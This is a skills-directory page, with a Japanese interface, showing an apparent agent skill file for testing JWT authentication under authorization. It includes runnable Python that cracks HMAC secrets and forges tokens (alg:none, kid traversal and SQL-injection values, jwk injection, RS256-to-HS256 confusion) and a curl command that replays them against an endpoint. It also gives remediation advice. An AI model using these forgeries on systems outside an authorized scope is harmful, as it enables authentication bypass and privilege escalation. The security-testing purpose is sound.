Skip to main content

jwt-attacks

Forge and re-sign captured JWTs to test signature validation - algorithm confusion (alg:none, RS256 to HS256), key injection, and secret cracking. Use when testing JWT or bearer-token auth.

ソース情報

リポジトリ
forefy/.context
ソースの最終更新活動
2026年9月7日 16:15
検出された SKILL.md の言語
英語
スター
149
フォーク
30

インストール方法

デフォルトでは、最初にソースを確認する Prompt が選択されています。直接コマンドに切り替えるか、ローカルコピーをダウンロードすることもできます。

ソースファイルを確認

インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。

ファイルエクスプローラー
2 ファイル

SKILL.md を表示中

SKILL.md
ソースの指示 · 読み取り専用プレビュー
name
jwt-attacks
description
Forge and re-sign captured JWTs to test signature validation - algorithm confusion (alg:none, RS256 to HS256), key injection, and secret cracking. Use when testing JWT or bearer-token auth.
## Contents - Scope & authorization - Step 0 - locate the token and establish a baseline - Step 1 - offline HMAC secret crack (passive) - Step 2 - signature stripping (active) - Step 3 - alg:none family (active) - Step 4 - kid manipulation (active) - Step 5 - self-signed key injection: jwk / jku (active) - Step 6 - RS256->HS256 algorithm confusion (active) - Runnable snippets - Output ## Scope & authorization Only run against an application you own or are engaged to test. The offline secret-cracking step (Step 1) is fully passive - it only analyzes a token you already captured and makes no network requests, so it is always safe to run. Every forgery step after it is active: it replays a tampered token against the live server, which mutates the authenticated session and appears in the target's logs. Do not run the active steps against third-party or out-of-scope hosts. Inputs are the JWTs you already hold - captured from proxy history, a browser session, or an `Authorization` header the app issued to you. Outputs are "report a finding when the server accepts a token you forged." ## Step 0 - locate the token and establish a baseline 1. **Find the JWT.** In each captured request, read the `Authorization` header. Strip a leading `Bearer ` if present. A JWT is three base64url segments joined by dots (`header.payload.signature`) and the header segment almost always starts with `ey` (that is `{"` base64url-encoded). Tokens also appear in cookies and in `access_token` / `id_token` body or query params - check those too. Skip any auth header whose value does not start with `ey`; after ~3 non-JWT auth values on a host, move on. 2. **Decode it (passive).** base64url-decode segment 1 (header) and segment 2 (payload). Note `alg`, `kid`, `jku`, `jwk` in the header and `exp`, `iat`, roles/scopes/`sub` in the payload - these drive both the crack and the forgeries. 3. **Establish the rejection baseline (active).** Before forging anything, confirm the endpoint actually enforces the token: replay the request with a **deliberately invalid** token (original token with its last signature character changed) and confirm the server answers `401 Unauthorized`. Only endpoints that reject a bad token are worth attacking - if an endpoint returns 200 for garbage, it never checked the token and the "forgery accepted" signal is meaningless. Rate-limit yourself: after ~5 filtered requests that fail to return 401 to an invalid token, stop on that host. Throughout the active steps, the finding condition is identical: **you send a token you forged (one you could never have signed legitimately) and the server responds with anything other than Unauthorized** - it verified nothing, or verified against something you control. At this baseline step also test for "dumb" developer mistakes, for example hard-coding API keys in the easily decodable JWT value. ## Step 1 - offline HMAC secret crack (passive) If the token uses a symmetric algorithm (`HS256` / `HS384` / `HS512`), its signature is an HMAC keyed by a server secret. A weak/default secret can be recovered offline with zero requests: for each candidate key in a wordlist, attempt to verify the captured token; the key that verifies is the server's signing secret. Once you hold it you can mint arbitrary valid tokens (any `sub`, any role, any `exp`). Report a finding when: any candidate key successfully verifies the captured token's signature. Record the recovered key. Use the bundled **`references/jwt-secrets.txt`** (~1,600 weak/default/leaked HMAC secrets) as the primary wordlist - pass it to the cracker below or to `hashcat -m 16500` for a GPU run. Always add app-specific candidates too: project name, domain, and the `SECRET_KEY` defaults of the framework in use. Extend further with the `jwt.secrets.list` from the `wallarm/jwt-secrets` collection. The short list below is only an at-a-glance sample of what `references/jwt-secrets.txt` covers: ``` secret password changeme default jwt jwtsecret jwt_secret jwtSecret your-256-bit-secret your_jwt_secret mysecret supersecret secretkey secret_key key private admin test qwerty 123456 0000000000000000 ``` ## Step 2 - signature stripping (active) Send the token as `header.payload.` - both original segments unchanged, the signature segment emptied (trailing dot, nothing after it). This tests servers that split on `.` and only verify a signature when the third segment is non-empty. Report a finding when the server accepts the empty-signature token. ## Step 3 - alg:none family (active) The `none` algorithm declares "unsigned"; a spec-compliant verifier must reject it on a protected endpoint. Forge an unsigned token: take the original header, set `alg`, take the original payload, and push `exp` ~12 hours into the future (so a stale-but-otherwise-valid token isn't rejected merely for expiry). Re-encode `header.payload.` with an empty signature. Try each casing variant separately - naive blocklists only match one: - `none` (lowercase) - `None` (title-case) - `NONE` (upper) - `nOnE` / `noNE` (mixed case) Report a finding when the server accepts any casing of an unsigned token with the `alg` set to a `none` variant. ## Step 4 - kid manipulation (active) If the header carries a `kid` (key-id), the server uses it to select the verification key - which makes it an injection point. Forge a token whose `kid` points somewhere predictable, then sign with a key you control: - **Path traversal to a null/empty file:** set `kid` to `../../../../../../../dev/null` (and, for parsers that read a `k` field, set `k` to empty or the base64 of a null byte, `AA==`), then HMAC-sign the token with an **empty** key. If the server loads `/dev/null` as the key material, it verifies your token against an empty key - which you used - and it passes. - **SQL-injection / other traversal targets** in `kid` (e.g. `' UNION SELECT 'known-key'--`) follow the same shape: make the key the server fetches be one you know, then sign with it. Report a finding when the server accepts a token whose `kid` you redirected and which you signed with the resulting known/empty key. ## Step 5 - self-signed key injection: jwk / jku (active) These attacks make the token carry (or point at) the verification key, so a server that trusts header-supplied keys will validate a token you signed with your own keypair. - **Embedded JWK (`jwk` header).** Generate your own RSA keypair. Build a header with `alg: RS256` (force it if the original used a different family), a `kid` (reuse the original's or your public-key thumbprint), and a `jwk` object containing your public key (`kty: RSA`, `e: AQAB`, `n:` = your key's base64url modulus). Sign the token with your **private** key. A server that verifies against the inline `jwk` instead of its own trusted key will accept it. - **jku header pointing at your JWKS.** Set `jku` to a URL you host serving a `jwks.json` that contains your public key, and sign with your private key. This is noisier (it makes the server fetch an attacker URL, leaving a callback fingerprint) - only run it where an out-of-band HTTP hit is acceptable, and prefer an in-scope collaborator/canary host. Watch for SSRF-style allowlist bypasses (`jku` host-confusion, `@`-tricks) if the server restricts the `jku` origin. Report a finding when the server accepts a token signed by your own keypair because it trusted a key you supplied in `jwk` or fetched via `jku`. ## Step 6 - RS256->HS256 algorithm confusion (active) When a token is RSA-signed (`RS256`/`RS384`/`RS512`), the server holds an RSA **public** key to verify it - and that public key is not secret. If the server picks its verification algorithm from the token's own `alg` header, switch `alg` to `HS256` and sign the token using the **RSA public-key PEM text as the HMAC secret**. A confused server will HMAC-verify with the public key it thinks is an RSA key - a value you also hold - and accept the token. You need the server's public key. Obtain it from the app's JWKS endpoint (`/.well-known/jwks.json`, `/jwks`), from the TLS certificate, or reconstruct it from two captured tokens (the `rsa_sign2n` technique recovers `n` from two signatures). Then HMAC-SHA256 `header.payload` using the exact PEM bytes as the key. Report a finding when the server accepts an `HS256` token that you signed with its RSA public key as the HMAC secret. (The source query flags this alongside `jku` tampering, ECDSA confusions, and CVE-2017-11424-style public-key confusions as high-value follow-ups to the automated checks above.) ## Runnable snippets Passive crack (Step 1) - no network, tries the bundled `jwt-secrets.txt` against a captured token. Set `$JWT` to the token and `$WL` to this skill's wordlist (`references/jwt-secrets.txt`): ```bash python3 - "$JWT" "${WL:-references/jwt-secrets.txt}" <<'PY' import sys, jwt tok = sys.argv[1] wl = open(sys.argv[2], encoding="utf-8").read().splitlines() for k in wl: try: jwt.decode(tok, k, algorithms=["HS256","HS384","HS512"], options={"verify_exp": False}) print("CRACKED secret:", repr(k)); break except Exception: # not just InvalidTokenError: an empty candidate raises InvalidKeyError, which must not abort the run pass else: print(f"no key in {len(wl)}-entry wordlist matched") PY ``` Forge the active mutations (Steps 2-6) from a captured token, then replay each against the live endpoint: ```bash python3 - <<'PY' import json, base64, hmac, hashlib, time, jwt from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import serialization TOKEN = "PASTE_CAPTURED_JWT_HERE" b64u = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=").decode() d64u = lambda s: base64.urlsafe_b64decode(s + "=" * (-len(s) % 4)) h_seg, p_seg, s_seg = TOKEN.split(".") hdr = json.loads(d64u(h_seg)); pl = json.loads(d64u(p_seg)) pl["exp"] = int(time.time()) + 12 * 3600 enc = lambda o: b64u(json.dumps(o, separators=(",", ":")).encode()) forgeries = {} forgeries["strip"] = f"{h_seg}.{p_seg}." for a in ("none", "None", "NONE", "nOnE"): forgeries[f"alg={a}"] = f"{enc({**hdr, 'alg': a})}.{enc(pl)}." kh = {**hdr, "alg": "HS256", "kid": "../../../../../../../dev/null", "k": ""} si = f"{enc(kh)}.{enc(pl)}" forgeries["kid-devnull"] = si + "." + b64u(hmac.new(b"", si.encode(), hashlib.sha256).digest()) priv = rsa.generate_private_key(public_exponent=65537, key_size=2048) nums = priv.public_key().public_numbers() n_b64 = b64u(nums.n.to_bytes((nums.n.bit_length()+7)//8, "big")) jwk_hdr = {**hdr, "alg": "RS256", "jwk": {"kty": "RSA", "use": "sig", "e": "AQAB", "kid": hdr.get("kid", "poc"), "n": n_b64}} pem = priv.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()) forgeries["jwk-inject"] = jwt.encode(pl, pem, algorithm="RS256", headers=jwk_hdr) PUBKEY_PEM = b"-----BEGIN PUBLIC KEY-----\n...server public key...\n-----END PUBLIC KEY-----" ch = {**hdr, "alg": "HS256"} ci = f"{enc(ch)}.{enc(pl)}" forgeries["rs->hs"] = ci + "." + b64u(hmac.new(PUBKEY_PEM, ci.encode(), hashlib.sha256).digest()) for name, tok in forgeries.items(): print(name, tok) PY ``` Replay each forged token and read the status line - anything that is not 401 on an endpoint that rejected your Step-0 invalid token is a finding: ```bash curl -sk -o /dev/null -w '%{http_code}\n' \ -H "Authorization: Bearer $FORGED_JWT" "https://TARGET/protected/endpoint" ``` ## Output Report per token and per endpoint: - **JWT located** - where (header/cookie/param), its `alg`, and whether the endpoint enforced it (401 baseline confirmed). - **Passive:** secret cracked? If yes, name the recovered key - the server's HMAC secret is fully compromised and arbitrary valid tokens can be minted. - **Active:** for each mutation (signature-strip, alg:none casing, kid, jwk/jku, RS->HS) state accepted / rejected, with the status line the server returned to the forged token. - **Verdict.** *Clean* - every forgery rejected with 401 and no secret cracked. *Vulnerable* - name each accepted forgery and what it grants (auth bypass, privilege escalation via a forged `role`/`sub`). Fix: pin the accepted algorithm server-side and never read `alg` from the token; reject `none`; verify only against a server-held key, never an inline `jwk`/`jku`; use a high-entropy random HMAC secret; validate `kid` against an allowlist. State which steps ran and which did not (e.g. RS->HS skipped for lack of the public key) so coverage stays honest; never present an unrun step as clean.
GitHubで見る